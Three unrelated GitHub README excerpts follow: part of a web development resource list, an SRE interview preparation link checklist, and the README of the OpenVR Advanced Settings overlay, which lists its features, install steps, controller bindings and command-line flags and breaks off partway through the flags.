### Website annotation
- [Bounce](https://www.bounceapp.com) - _"A little app from ZURB that lets people add feedback to any interface and toss that back and forth with other people."_
### Website testing
- [CodePen](https://codepen.io) - _"CodePen is an online community for testing and showcasing user-created HTML, CSS and JavaScript code snippets. It functions as an online code editor and open-source learning environment, where developers can create code snippets, creatively named "pens", and test them._" ([from Wikipedia](https://en.wikipedia.org/wiki/CodePen))
- [JSFiddle](https://jsfiddle.net) - _"JSFiddle is an online community for testing and showcasing user-created and collaborational HTML, CSS and JavaScript code snippets, known as 'fiddles'. It allows for simulated AJAX calls."_ ([from Wikipedia](https://en.wikipedia.org/wiki/JSFiddle))
## Web development
### Learning
- [awesome-learning-resources](https://github.com/lauragift21/awesome-learning-resources) - GitHub awesome list. [](https://github.com/sindresorhus/awesome)
- [Frontend Masters](https://frontendmasters.com/)
- [Intro to Web Dev v2](https://btholt.github.io/intro-to-web-dev-v2/).
- [MDN Web Docs](https://developer.mozilla.org/en-US/)
### Tools
- [Closing Tag Checker for HTML5](https://www.aliciaramirez.com/closing-tags-checker/) - _"This script doesn't check for self closing tags."_ Works great for validating Markdown mixed with HTML too.
- [Color Hunt](https://colorhunt.co) - _"Color Hunt is a free and open platform for color inspiration with thousands of trendy hand-picked color palettes."_
- [Coolors](https://coolors.co) - _"The super fast color schemes generator! Create, save and share perfect palettes in seconds!"_
- [HTML Color Codes](https://htmlcolorcodes.com) - _"Get HTML color codes, Hex color codes, RGB and HSL values with our color picker, color chart and HTML color names."_
- [Lighthouse](https://developers.google.com/web/tools/lighthouse/) - _"Lighthouse is an open-source, automated tool for improving the quality of web pages."_
- [Nu HTML Checker](https://validator.w3.org/nu/) - _"This tool is an ongoing experiment in better HTML checking [...]"_
- [Real Favicon Generator](https://realfavicongenerator.net) - _"Favicon Generator. For real."_
- [Type Scale](https://type-scale.com/) - _"A visual calculator."_ Deals with font scales.
|
# Site Reliability Engineer (SRE) Interview Preparation Guide
This repository is an attempt to consolidate useful resources for Site Reliability Engineer (SRE) interview preparation.
## Contributing
Please take a look at the [contribution guidelines](CONTRIBUTING.md) first.
Contributions are always welcome!
## Basics
- [ ] Simple: [What happens when you type in ‘www.cnn.com’ in your browser?](https://syedali.net/2013/08/18/what-happens-when-you-type-in-www-cnn-com-in-your-browser)
- [ ] Detailed: [What happens when you type google.com into your browser's address box and press enter?](https://github.com/alex/what-happens-when)
## Linux
- [ ] [What every SRE should know about GNU/Linux shell related internals: file descriptors, pipes, terminals, user sessions, process groups and daemons](https://biriukov.dev/docs/fd-pipe-session-terminal/0-sre-should-know-about-gnu-linux-shell-related-internals-file-descriptors-pipes-terminals-user-sessions-process-groups-and-daemons)
### Boot Process
- [ ] [An introduction to the Linux boot and startup processes](https://opensource.com/article/17/2/linux-boot-and-startup)
- [ ] [What happens when we turn on computer?](https://www.cdn.geeksforgeeks.org/what-happens-when-we-turn-on-computer)
- [ ] [What happens when we turn on computer?](https://leetcode.com/discuss/interview-question/125107/What-happens-when-we-turn-on-computer)
- [ ] [From Power up to login prompt](http://www.scott-a-s.com/files/linux_boot.pdf)
### Filesystem
- [ ] [Understanding Inodes](https://syedali.net/2015/02/08/understanding-inodes)
- [ ] [Understand UNIX / Linux Inodes Basics with Examples](https://www.thegeekstuff.com/2012/01/linux-inodes)
- [ ] [Understanding proc filesystem](https://syedali.net/2013/08/20/understanding-proc-filesystem)
- [ ] [Common Mount Options](https://syedali.net/2015/01/06/common-mount-options)
- [ ] [Understanding Linux filesystems: ext4 and beyond](https://opensource.com/article/18/4/ext4-filesystem)
### Kernel
- [ ] [Explain the basics of Linux kernel](http://learnlinuxconcepts.blogspot.com/2014/03/explain-basics-of-linux-kernel.html)
- [ ] [Kernel Space and User Space](http://learnlinuxconcepts.blogspot.com/2014/02/kernel-space-and-user-space.html)
- [ ] [Linux Kernel Process Management](http://learnlinuxconcepts.blogspot.com/2014/03/process-management.html)
- [ ] [Linux Addressing](http://learnlinuxconcepts.blogspot.com/2014/02/linux-addressing.html)
- [ ] [Linux Kernel Memory Management](http://learnlinuxconcepts.blogspot.com/2014/02/linux-memory-management.html)
- [ ] [STACK AND HEAP](http://learnlinuxconcepts.blogspot.com/2014/02/stack-and-heap.html)
- [ ] [Paging and Segmentation](http://learnlinuxconcepts.blogspot.com/2014/02/paging-and-segmentation.html)
- [ ] [Linux Kernel System Calls](http://learnlinuxconcepts.blogspot.com/2014/02/system-calls.html)
- [ ] [The Virtual Filesystem](http://learnlinuxconcepts.blogspot.com/2014/10/the-virtual-filesystem.html)
- [ ] [Concurrency and Race Conditions](http://learnlinuxconcepts.blogspot.com/2014/07/concurrency-and-race-conditions.html)
- [ ] [Memory Leak](https://stackoverflow.com/questions/312069/the-best-memory-leak-definition)
- [ ] [What is a kernel Panic?](http://learnlinuxconcepts.blogspot.com/2014/07/what-is-kernel-panic.html)
- [ ] [Book about the linux kernel](https://0xax.gitbooks.io/linux-insides/content)
### Troubleshooting
- [ ] [Linux troubleshooting tools](https://syedali.net/2013/08/20/linux-troubleshooting-tools)
- [ ] [Linux Performance Analysis in 60,000 Milliseconds](https://medium.com/netflix-techblog/linux-performance-analysis-in-60-000-milliseconds-accc10403c55)
- [ ] [strace](https://www.dedoimedo.com/computers/strace.html)
- [ ] [lsof](https://www.dedoimedo.com/computers/lsof.html)
- [ ] [Linux system debugging](https://www.dedoimedo.com/computers/linux-system-debugging-super.html)
- [ ] [SaaS where users can test their Linux troubleshooting skills](https://sadservers.com)
## Networking
- [ ] [The Internet explained from first principles](https://explained-from-first-principles.com/internet)
- [ ] [Network protocols for anyone who knows a programming language](https://www.destroyallsoftware.com/compendium/network-protocols?share_key=97d3ba4c24d21147)
- [ ] [Introduction to Linux interfaces for virtual networking](https://developers.redhat.com/blog/2018/10/22/introduction-to-linux-interfaces-for-virtual-networking)
- [ ] [Multi-tier load-balancing with Linux](https://vincent.bernat.ch/en/blog/2018-multi-tier-loadbalancer)
- [ ] [Introduction to modern network load balancing and proxying](https://blog.envoyproxy.io/introduction-to-modern-network-load-balancing-and-proxying-a57f6ff80236)
- [ ] [Load Balancing Algorithms](https://syedali.net/2013/08/22/load-balancing-algorithms)
## Containers
- [ ] [Introduction to Docker and Containers](http://container.training/intro-selfpaced.yml.html)
- [ ] [Containers Patterns](https://l0rd.github.io/containerspatterns)
- [ ] [Docker Container Anti Patterns](https://blog.couchbase.com/docker-container-anti-patterns/)
- [ ] [Anti-Patterns When Building Container Images](https://jpetazzo.github.io/2021/11/30/docker-build-container-images-antipatterns)
## Kubernetes
- [ ] [Deploying and Scaling Microservices with Docker and Kubernetes](http://container.training/kube-selfpaced.yml.html)
- [ ] [Demystifying the Kubernetes Iceberg](https://asankov.dev/blog/2022/05/15/demystifying-the-kubernetes-iceberg-part-1)
- [ ] [What happens when ... Kubernetes edition!](https://github.com/jamiehannaford/what-happens-when-k8s/blob/master/README.md)
- [ ] [Kubernetes Production Patterns](https://github.com/gravitational/workshop/blob/master/k8sprod.md)
- [ ] [Kubernetes production best practices](https://learnk8s.io/production-best-practices)
- [ ] [A Guide to the Kubernetes Networking Model](https://sookocheff.com/post/kubernetes/understanding-kubernetes-networking-model)
- [ ] [47 Things To Become a Kubernetes Expert](https://ymmt2005.hatenablog.com/entry/k8s-things)
- [ ] [Kubernetes Best Practices 101](https://github.com/diegolnasc/kubernetes-best-practices)
- [ ] [15 Kubernetes Best Practices Every Developer Should Know](https://spacelift.io/blog/kubernetes-best-practices)
- [ ] [THE KUBERNETES NETWORKING GUIDE](https://www.tkng.io)
- [ ] [The life of a DNS query in Kubernetes](https://www.nslookup.io/learning/the-life-of-a-dns-query-in-kubernetes)
## Infrastructure as code / Configuration management
- [ ] [Terraform](https://learn.hashicorp.com/terraform)
- [ ] [A Comprehensive Guide to Terraform](https://blog.gruntwork.io/a-comprehensive-guide-to-terraform-b3d32832baca)
- [ ] [Ansible](https://github.com/leucos/ansible-tuto)
- [ ] [Getting Started With Terraform on AWS](https://spacelift.io/blog/terraform-tutorial)
- [ ] [Google Cloud: Best practices for using Terraform](https://cloud.google.com/docs/terraform/best-practices-for-terraform)
## Databases
- [ ] [Things You Should Know About Databases](https://architecturenotes.co/things-you-should-know-about-databases)
- [ ] [7 Database Paradigms](https://youtu.be/W2Z7fbCLSTw)
- [ ] [CAP theorem](https://en.wikipedia.org/wiki/CAP_theorem)
- [ ] [Evolutionary Database Design](https://martinfowler.com/articles/evodb.html)
- [ ] [ACID vs BASE in Databases](https://medium.com/geekculture/acid-vs-base-in-databases-1bcad774da26)
- [ ] [Understanding Database Sharding](https://www.digitalocean.com/community/tutorials/understanding-database-sharding)
- [ ] [Database Replication](https://galeracluster.com/library/documentation/tech-desc-introduction.html#database-replication)
- [ ] [SQL vs. NoSQL Database: When to Use, How to Choose](https://towardsdatascience.com/datastore-choices-sql-vs-nosql-database-ebec24d56106)
- [ ] [How do database indexes work?](https://planetscale.com/blog/how-do-database-indexes-work)
- [ ] [Redis Explained](https://architecturenotes.co/redis)
- [ ] [Database Sharding Explained](https://architecturenotes.co/database-sharding-explained)
## CI/CD
- [ ] [7 Pipeline Design Patterns for Continuous Delivery](https://www.singlestoneconsulting.com/blog/7-pipeline-design-patterns-for-continuous-delivery)
- [ ] [CI/CD patterns](https://continuousdelivery.com/implementing/patterns)
- [ ] [Six Strategies for Application Deployment](https://thenewstack.io/deployment-strategies)
## Clouds
- [ ] [The Open Guide to Amazon Web Services](https://github.com/open-guides/og-aws)
- [ ] [Learning Azure](https://docs.microsoft.com/en-us/learn/azure/)
- [ ] [Hands-On Training with GCP](https://cloud.google.com/training/badges)
## Programming
### Python
- [ ] [Python Basics](https://pythonbasics.org/)
- [ ] [Python For Everyone](https://www.py4e.com/)
- [ ] [Complete Python Tutorial](https://www.scaler.com/topics/python/)
### Go (Golang)
- [ ] [A tour of Go](https://tour.golang.org)
- [ ] [Go by Example](https://gobyexample.com)
- [ ] [Go Tutorials & Examples](https://gosamples.dev)
- [ ] [Learn Go with Tests](https://quii.gitbook.io/learn-go-with-tests/)
- [ ] [Getting up and running with Go](http://www.golangprograms.com)
- [ ] [Effective Go](https://golang.org/doc/effective_go.html)
- [ ] [Go Design Patterns](https://github.com/tmrts/go-patterns)
- [ ] [Go Memory Management](https://povilasv.me/go-memory-management)
- [ ] [Style Guide](https://google.github.io/styleguide/go/guide)
- [ ] [Style Decisions](https://google.github.io/styleguide/go/decisions)
- [ ] [Best Practices](https://google.github.io/styleguide/go/best-practices)
- [ ] [50 Shades of Go: Traps, Gotchas, and Common Mistakes for New Golang Devs](https://devs.cloudimmunity.com/gotchas-and-common-mistakes-in-go-golang)
### Big O Notation, Algorithms and Data Structures
- [ ] [AlgoExperts](https://www.algoexpert.io)
- [ ] [Hacking a Google Interview – Handout 1](http://courses.csail.mit.edu/iap/interview/Hacking_a_Google_Interview_Handout_1.pdf)
- [ ] [Hacking a Google Interview – Handout 2](http://courses.csail.mit.edu/iap/interview/Hacking_a_Google_Interview_Handout_2.pdf)
- [ ] [Hacking a Google Interview – Handout 3](http://courses.csail.mit.edu/iap/interview/Hacking_a_Google_Interview_Handout_3.pdf)
## System design
- [ ] [SystemsExpert course from AlgoExpert](https://www.algoexpert.io/se/product)
- [ ] [Grokking the System Design Interview](https://www.educative.io/collection/5668639101419520/5649050225344512)
- [ ] [The System Design Primer](https://github.com/donnemartin/system-design-primer)
- [ ] [Crack the System Design Interview](https://www.puncsky.com/blog/2016/02/14/crack-the-system-design-interview)
- [ ] [System design interview for IT companies](https://github.com/checkcheckzz/system-design-interview)
- [ ] [Web Architecture 101](https://medium.com/storyblocks-engineering/web-architecture-101-a3224e126947)
- [ ] [What's in a Production Web Application?](https://web.archive.org/web/20210106095747/http://stephenmann.io/post/whats-in-a-production-web-application)
- [ ] [Distributed systems](http://book.mixu.net/distsys/single-page.html)
- [ ] [Failover](https://blog.alexewerlof.com/p/failover)
### System design examples
- [ ] [Designing WhatsApp](http://highscalability.com/blog/2022/1/3/designing-whatsapp.html)
- [ ] [Designing Uber](http://highscalability.com/blog/2022/1/25/designing-uber.html)
- [ ] [Designing Tinder](http://highscalability.com/blog/2022/1/17/designing-tinder.html)
- [ ] [Designing Instagram](http://highscalability.com/blog/2022/1/11/designing-instagram.html)
- [ ] [Designing Netflix](http://highscalability.com/blog/2021/12/13/designing-netflix.html)
## Monitoring
- [ ] [SLOs & You: A Guide To Service Level Objectives](https://www.circonus.com/2018/07/a-guide-to-service-level-objectives)
- [ ] [Setting up Service Monitoring — The Why’s and What’s](https://amitosh.medium.com/the-whys-and-what-s-of-setting-up-service-monitoring-cc1c165ee088)
- [ ] [How NOT to Measure Latency](https://youtu.be/lJ8ydIuPFeU)
- [ ] [The four Golden Signals of Kubernetes monitoring](https://sysdig.com/blog/golden-signals-kubernetes)
### Prometheus
- [ ] [Introduction to Prometheus](https://training.promlabs.com/training/introduction-to-prometheus/training-overview/introduction)
- [ ] [Prometheus Relabeling Training](https://training.promlabs.com/training/relabeling/training-overview/prerequisites)
- [ ] [Avoid These 6 Mistakes When Getting Started With Prometheus](https://promlabs.com/blog/2022/12/11/avoid-these-6-mistakes-when-getting-started-with-prometheus)
- [ ] [A Deep Dive Into the Four Types of Prometheus Metrics](https://www.timescale.com/blog/four-types-prometheus-metrics-to-collect)
- [ ] [How Prometheus Querying Works](https://www.timescale.com/blog/how-prometheus-querying-works-and-why-you-should-care)
- [ ] [PromQL Cheat Sheet](https://promlabs.com/promql-cheat-sheet)
## Processes
- [ ] [The practical guide to incident management](https://incident.io/guide)
- [ ] [Incident Response](https://response.pagerduty.com)
- [ ] [Postmortems](https://postmortems.pagerduty.com)
- [ ] [Runbooks](https://www.transposit.com/devops-blog/itsm/what-makes-a-good-runbook)
- [ ] [Identifying and tracking toil using SRE principles](https://cloud.google.com/blog/products/management-tools/identifying-and-tracking-toil-using-sre-principles)
- [ ] [Building SRE from Scratch](https://medium.com/ibm-garage/building-sre-from-scratch-485e23985bbd)
- [ ] [SRE at Google: Our complete list of CRE life lessons](https://cloud.google.com/blog/products/devops-sre/sre-at-google-our-complete-list-of-cre-life-lessons)
- [ ] [Incident Management vs. Incident Response - What's the Difference?](https://rootly.io/blog/incident-management-vs-incident-response-what-s-the-difference)
- [ ] [Practical Guide to SRE: Using SLOs to Increase Reliability](https://rootly.io/blog/practical-guide-to-sre-using-slos-to-increase-reliability)
- [ ] [Practical Guide to SRE: Automating On-Call](https://rootly.io/blog/practical-guide-to-sre-automating-on-call)
- [ ] [Going from Zero to SRE](https://www.squadcast.com/blog/going-from-zero-to-sre)
- [ ] [An Incident Command Training Handbook](https://blog.danslimmon.com/2019/06/24/an-incident-command-training-handbook)
- [ ] [Howie guide to post‑incident investigations](https://www.jeli.io/howie/welcome)
- [ ] [Rundown of LinkedIn’s SRE practices](https://www.srepath.com/rundown-of-linkedins-sre-practices)
- [ ] [Rundown of Uber’s SRE practice](https://www.srepath.com/rundown-of-uber-sre-practice)
- [ ] [SRE in the Real World](https://blog.relyabilit.ie/sre-in-the-real-world)
- [ ] [SRE Engagement Models](https://certomodo.substack.com/p/sre-engagement-models)
- [ ] [SRE Checklist](https://github.com/bregman-arie/sre-checklist)
- [ ] [Why bother with SLI and SLO?](https://blog.alexewerlof.com/p/why-bother-with-sli-and-slo)
- [ ] [The System Resiliency Pyramid](https://www.codereliant.io/the-system-resiliency-pyramid)
## Resume
- [ ] [SRE Complete Resume Writing Guide](https://rootly.com/blog/sre-complete-resume-writing-guide)
## Interview
### SRE interview process
- [ ] [How to hire talent](https://syedali.net/2014/04/01/how-to-hire-talent)
- [ ] [Recruitment process for a Google job (SRE, Site Reliability Engineer)](https://web.archive.org/web/20220328124724/http://lambda-startup.com/recruitment-process-for-a-google-job-sre-site-reliability-engineer)
### Interview Questions
- [ ] [A collection of questions to practice with for SRE interviews](https://github.com/michael-kehoe/sre-interview)
- [ ] [SRE Interview Questions](https://syedali.net/engineer-interview-questions)
- [ ] [Sysadmin Test Questions](https://github.com/trimstray/test-your-sysadmin-skills)
- [ ] [Kubernetes job interview questions](https://enterprisersproject.com/article/2019/2/kubernetes-job-interview-questions-how-prepare)
- [ ] [DevOps Guide](https://github.com/Tikam02/DevOps-Guide)
- [ ] [Questions I ask in SRE interviews](https://dev.to/logan/questions-i-ask-in-sre-interviews-a9j)
- [ ] [DevOps Roadmap: Learn to become a DevOps Engineer or SRE](https://roadmap.sh/devops)
- [ ] [The Must-Know Terraform Interview Questions](https://devopsknowledge.hashnode.dev/the-must-know-terraform-interview-questions)
### Blogposts
- [ ] [SRE Interviews in Silicon Valley](http://blog.marc-seeger.de/2015/05/01/sre-interviews-in-silicon-valley)
- [ ] [Preparing the SRE interview](https://blog.balthazar-rouberol.com/preparing-the-sre-interview)
- [ ] [How to Get Into SRE](https://blog.alicegoldfuss.com/how-to-get-into-sre)
- [ ] [My Job Interview at Google](https://catonmat.net/my-job-interview-at-google)
- [ ] [Path to Site Reliability Management](https://danrl.com/srm)
- [ ] [Becoming a Site Reliability Engineer](https://www.tik.dev/blog/becoming-an-sre)
- [ ] [How I get a job at Google as SRE](https://fabrizio2210.medium.com/how-i-get-a-job-at-google-as-sre-83d44aef7859)
- [ ] [Become A DevOps Engineer in 2023: [Detailed Guide]](https://devopscube.com/become-devops-engineer)
- [ ] [How to Get an SRE Role](https://certomodo.substack.com/p/how-to-get-an-sre-role)
## Books
### SRE books
- [ ] [Site Reliability Engineering](https://sre.google/sre-book/table-of-contents)
- [ ] [The Site Reliability Workbook](https://sre.google/workbook/table-of-contents)
- [ ] [Seeking SRE](https://books.google.ru/books?id=tmhqDwAAQBAJ)
- [ ] [Building Secure and Reliable Systems](https://sre.google/books/building-secure-reliable-systems)
- [ ] [Implementing Service Level Objectives](https://learning.oreilly.com/library/view/implementing-service-level/9781492076803)
### Linux
- [ ] [Linux Kernel Development (3rd Edition)](https://www.amazon.com/Linux-Kernel-Development-Robert-Love/dp/0672329468)
- [ ] [UNIX and Linux System Administration Handbook (5th Edition)](https://www.amazon.com/UNIX-Linux-System-Administration-Handbook/dp/0134277554)
- [ ] [Linux Pocket Guide, 3rd Edition](http://shop.oreilly.com/product/0636920040927.do)
### Networking
- [ ] [TCP/IP Illustrated, Volume 1](https://www.amazon.com/TCP-Illustrated-Protocols-Addison-Wesley-Professional/dp/0321336313)
### Troubleshooting and Performance
- [ ] [Systems Performance: Enterprise and the Cloud](https://www.amazon.com/Systems-Performance-Enterprise-Brendan-Gregg/dp/0133390098)
- [ ] [Systems Performance, 2nd Edition](https://www.informit.com/store/systems-performance-9780136820154?ranMID=24808)
## Courses
- [ ] [Site Reliability Engineering: Measuring and Managing Reliability](https://www.coursera.org/learn/site-reliability-engineering-slos)
- [ ] [School of SRE](https://linkedin.github.io/school-of-sre)
|
[](https://ci.appveyor.com/project/icewind1991/openvr-advancedsettings/branch/master)
[](https://travis-ci.org/OpenVR-Advanced-Settings/OpenVR-AdvancedSettings)
[](https://discordapp.com/invite/cW6cRyv)
# OpenVR Advanced Settings Overlay
Adds an overlay to the OpenVR dashboard that allows access to advanced settings and useful utilities.
* [Features](#features)
* [Usage](#usage)
* [Windows](#windows)
* [Steam](#steam)
* [Installer](#installer)
* [Standalone](#standalone)
* [Linux](#linux)
* [Steam for Linux](#SteamLinux)
* [AppImage](#appimage)
* [Arch/Manjaro](#archmanjaro)
* [Building from Source](#building-from-source)
* [Guides](#guides)
* [Bindings](#bindings)
* [Music](#music)
* [Motion](#motion)
* [Misc.](#misc)
* [System.](#system)
* [Haptics.](#haptics)
* [Default Bindings](#default-bindings)
* [Vive Wands](#vive-wands)
* [Valve Index Controllers (Knuckles)](#valve-index-controllers-knuckles)
* [WMR](#wmr)
* [Touch](#touch)
* [Other Controllers](#other-controllers)
* [Command Line Arguments](#command-line-arguments)
* [INI File Options](#ini-file-options)
* [Preview builds](#preview-builds)
* [Un-Installing](#un-installing)
* [Documentation](#documentation)
* [Top Page](#top-page)
* [- SteamVR Page](#--steamvr-page)
* [- SteamVR Pair Page](#--steamvr-pair-page)
* [- Chaperone Page](#--chaperone-page)
* [- Chaperone Proximity Warning Settings Page](#--chaperone-proximity-warning-settings-page)
* [- Space Offset Page](#--space-offset-page)
* [- Motion Page](#--motion-page)
* [- Rotation Page](#--rotation-page)
* [- Space Fix Page](#--space-fix-page)
* [- Audio Page](#--audio-page)
* [- Video Page](#--video-page)
* [- Utilities Page](#--utilities-page)
* [- Statistics Page](#--statistics-page)
* [- Settings Page](#--settings-page)
* [How to Compile](#how-to-compile)
* [Building on Windows](#building-on-windows)
* [Building on Linux](#building-on-linux)
* [Notes:](#notes)
* [Common Issues:](#common-issues)
* [License](#license)
# Features
Do all this without leaving VR:
- Set supersampling values.
- Enable/disable motion smoothing and advanced supersample filtering.
- Save supersampling and reprojection settings into profiles.
- Change several chaperone settings not accessible via SteamVR settings (to e.g. make it completely invisible).
- Chaperone Proximity Warning: Several warning methods can be configured.
- Chaperone Profiles: Allows to quickly switch chaperone geometry and settings while in VR.
- Temporarily move and rotate the playspace.
- Floor height fix, for knuckles and wands.
- Floor Center fix.
- Display several performance statistics and other statistics (e.g. headset rotations).
- Control audio devices, volumes and mirror devices.
- Control microphone as push-to-talk or push-to-mute via VR controller button.
- Simple Alarm Clock
- Player height adjust toggle
- Snap Turn option.
- Advanced Space Features: gravity, space-turn, and space-drag
- Control media players (Pause/Play, Next Song, Previous Song, Stop).
- Send keyboard inputs (like Alt+Tab, Alt+Enter, Backspace, etc.).
- Bind VR controller buttons to send keyboard inputs (for example to mute VOIP applications while in VR).
- Center Marker with rotation indicator.
- All the above also available from a window on the desktop.
# Usage
## Windows
### Steam
Get it on Steam at [OVR Advanced Settings](https://store.steampowered.com/app/1009850/OVR_Advanced_Settings/)
**Note:** Please Un-install Other Versions Before Installing Via Steam.
### Installer
Download the newest installer from the [release section](https://github.com/OpenVR-Advanced-Settings/OpenVR-AdvancedSettings/releases) and run it.
If you have an older standalone version installed, the installer will automatically uninstall the old version and install the new version.
### Standalone
Download the newest standalone archive from the [release section](https://github.com/OpenVR-Advanced-Settings/OpenVR-AdvancedSettings/releases) and unpack the archive.
To install for the first time simply start AdvancedSettings.exe once while SteamVR is running. It will register with SteamVR and automatically starts whenever SteamVR starts (Can be disabled in the settings).
To upgrade an existing installation first stop SteamVR and delete the old application folder (or override it). Then start SteamVR and run AdvancedSettings.exe once.
## Linux
### Steam for Linux
Get it on Steam at [OVR Advanced Settings](https://store.steampowered.com/app/1009850/OVR_Advanced_Settings/)
**Note:** Please Un-install Other Versions Before Installing Via Steam.
### AppImage
The AppImage can be found in the [release section](https://github.com/OpenVR-Advanced-Settings/OpenVR-AdvancedSettings/releases) and should run on most common Linux distributions.
Simply double click the AppImage once downloaded to run it. Depending on your distribution you may need to make it executable with `chmod +x OpenVR_Advanced_Settings*`.
If the AppImage doesn't work for whatever reason, please create an issue [here](https://github.com/OpenVR-Advanced-Settings/OpenVR-AdvancedSettings/issues/new/choose) describing the problem and try compiling from source.
### Arch/Manjaro
OpenVR Advanced Settings is on the [Arch User Repository](https://wiki.archlinux.org/index.php/Arch_User_Repository) as `ovras`.
Manjaro users can [enable](https://wiki.manjaro.org/index.php/Arch_User_Repository) the AUR and install this package using `pamac build ovras`.
### Building from Source
Detailed instructions are available [here](docs/building_for_linux.md).
## Guides
### Overall Feature Overview Guides
- [Kung's 3.0 New Feature Guide (video/youtube)]( https://youtu.be/2ZHdjOfnqOU )
### SteamVR Input System (keybinds for app)
- [Steam VR Input System (text)](docs/SteamVRInputGuide.md)
### Keyboard Binding System
- [Keyboard Input Guide (text)](docs/keyboard_input_guide.md)
### Pairing Cheat Sheet
- [Pairing Cheat Sheet (text)](docs/pairing_guide.md)
## Bindings
For information on how to properly set-up bindings see: [SteamVR Input System Guide](#guides)
The following actions currently exist:
### Music
Actions associated with media player.
| Action | Type | Explanation |
| ------------- | ------------- | ------------ |
| Play Next Track | Binary/Button | The same as using the media keys. Tells a media player to play the next song.|
| Play Previous Track | Binary/Button | The same as using the media keys. Tells a media player to play the previous song. |
| Pause/Play Track | Binary/Button | The same as using the media keys. Tells the media player to press play/pause. |
| Stop Track| Binary/Button | The same as using the media keys. Tells the media player to stop playback. |
### Motion
Actions associated with motion tab, and motion.
Override actions will take priority over non-override actions during simultaneous activation. Example: binding space turn to single click and space drag (override) to double click on the same physical button.
| Action | Type | Explanation |
| ------------- | ------------- | ------------ |
| Left Hand Space Turn | Binary/Button | Rotates PlaySpace based on left controller rotation while held. |
| Right Hand Space Turn | Binary/Button | Rotates PlaySpace based on right controller rotation while held. |
| Left Hand Space Drag | Binary/Button | Moves PlaySpace based on left controller position while held. |
| Right Hand Space Drag | Binary/Button | Moves PlaySpace based on right controller position while held. |
| (Optional Override) Left Hand Space Turn | Binary/Button | Override version: will activate instead of non-override during simultaneous activation. |
| (Optional Override) Right Hand Space Turn | Binary/Button | Override version: will activate instead of non-override during simultaneous activation. |
| (Optional Override) Left Hand Space Drag | Binary/Button | Override version: will activate instead of non-override during simultaneous activation. |
| (Optional Override) Right Hand Space Drag | Binary/Button | Override version: will activate instead of non-override during simultaneous activation. |
| Swap Active Space Drag to Left Hand (Override) | Binary/Button | Activates space drag on left controller only if right controller is currently active in space drag. (Useful for climbing motions) |
| Swap Active Space Drag to Right Hand (Override) | Binary/Button | Activates space drag on right controller only if left controller is currently active in space drag. (Useful for climbing motions) |
| Gravity Toggle | Binary/Button | Toggles Gravity state when pressed. |
| Gravity Reverse | Binary/Button | Temporarily Reverses Gravity while held. |
| Reset Offsets | Binary/Button | Resets your offset and rotation to 0. |
| Apply Offsets | Binary/Button | Recalibrates center/rotation from offsets |
| Height Toggle | Binary/Button | Shifts the gravity floor level by offset configured in motion tab. If gravity is inactive: also shifts the user's current y-axis position by offset configured in motion tab. |
| Snap-Turn Left | Binary/Button | Rotates a set value to the left based on settings in motion tab. |
| Snap-Turn Right | Binary/Button | Rotates a set value to the right based on settings in motion tab. |
| Smooth-Turn Right | Binary/Button | Rotates an amount per frame to the right based on settings in motion tab. |
| Smooth-Turn Left | Binary/Button | Rotates an amount per frame to the left based on settings in motion tab. |
| Auto-Turn Toggle | Binary/Button | Toggles the Auto-Turn Feature on/off.
### Misc.
Actions that don't have a clear category.
| Action | Type | Explanation |
| ------------- | ------------- | ------------ |
| X-Axis Lock Toggle | Binary/Button | Toggles the lock of the X-Axis for offsets.|
| Y-Axis Lock Toggle | Binary/Button | Toggles the lock of the Y-Axis for offsets.|
| Z-Axis Lock Toggle | Binary/Button | Toggles the lock of the Z-Axis for offsets.|
| Chaperone Toggle | Binary/Button | Toggles the chaperone on/off. |
| Keyboard Shortcut One | Binary/Button | Sends the key sequence defined the the settings file. Defaults to Ctrl+Shift+M (Discord default toggle mute). |
| Keyboard Shortcut Two | Binary/Button | Sends the key sequence defined the the settings file. This has no default sequence. |
| Keyboard Shortcut Three | Binary/Button | Sends the key sequence defined the the settings file. This has no default sequence. |
| Key Press Misc | Binary/Button | Sends the key press defined in the settings file. Defaults to F9 |
### System.
Actions That will stay active regardless of the situation.
| Action | Type | Explanation |
| ------------- | ------------- | ------------ |
| Push to Talk | Binary/Button | Acts as starter for PTT, can mute if push-to-mute is selected.|
| Add Left Haptic Click | Binary/Button | simulates a "click" with controller haptics. (left hand)
| Add Right Haptic Click | Binary/Button | simulates a "click" with controller haptics. (right hand)
| Key Press System | Binary/Button | Sends the key press defined in the settings file. Defaults to F9 |
| Exclusive Input Toggle | Binary/Button | Switches between App and OVRAS keybinds, *note:* OVRAS's system Key-Binds remain active all the time
### Haptics.
These Actions are Hidden, They are bound by default. They allow the application to use the haptics and proximity sensor in HMD's.
| Action | Type | Explanation |
| ------------- | ------------- | ------------ |
| Haptics Left | Vibration | Handle for haptic events on the Left Controller. **Do not "bind" this action**|
| Haptics Right | Vibration | Handle for haptic events on the Right Controller. **Do not "bind" this action**|
| Proximity Sensor | Binary/Button | Connects Automatically to your HMD's proximity sensor. **Do not "bind" this action**, it will cause un-predictable behavior. |
## Default Bindings
### Vive Wands
- Menu Button (both hands)
- **Single Click**: Space Turn (respective hand)
- **Double Click**: Space Drag (override) (respective hand)
- **Single Click**: Swap Active Space Drag (override) (respective hand)
- TrackPad (right hand)
- **D-pad Down click**: Push-to-Talk
- Haptics bound
### Valve Index Controllers (Knuckles)
- B Button (both hands)
- **Single Click**: Space Turn (respective hand)
- **Double Click**: Space Drag (override) (respective hand)
- **Single Click**: Swap Active Space Drag (override) (respective hand)
- Trigger (left hand)
- **Click**: Push-to-Talk
- Haptics boun
### WMR
- Menu Button (both hands)
- **Single Click**: Space Turn (respective hand)
- **Double Click**: Space Drag (override) (respective hand)
- **Single Click**: Swap Active Space Drag (override) (respective hand)
- TrackPad (right hand)
- **D-pad Down click**: Push-to-Talk
- Haptics bound
### Touch
- B/Y Button (respective hands)
- **Single Click**: Space Turn (respective hand)
- **Double Click**: Space Drag (override) (respective hand)
- **Single Click**: Swap Active Space Drag (override) (respective hand)
- Trigger (left hand)
- **Click**: Push-to-Talk
- Haptics bound
### Other Controllers
No current default bindings you will have to make your own.
## Command Line Arguments
The application (`AdvancedSettings.exe`) can be run with the following optional arguments:
`"--desktop-mode"`: Creates a settings window on the desktop, but not in VR. Running `startdesktopmode.bat` in the install directory has the same effect.
`"--force-no-sound"`: Forces sound effects off.
`"--force-no-manifest"`: Forces not using a `.vrmanifest`.
`"--force-install-manifest"`: Force installs the `.vrmanifest` and adds the application to autostart. If you're having issues with autostart not working try running the program once with this set. The program will exit early when this flag is set.
`"--force-remove-manifest"`: Force uninstalls the `.vrmanifest`. This should be done every time the application is uninstalled. On Windows it is automatically done by the uninstaller. The program will exit early when this flag is set.
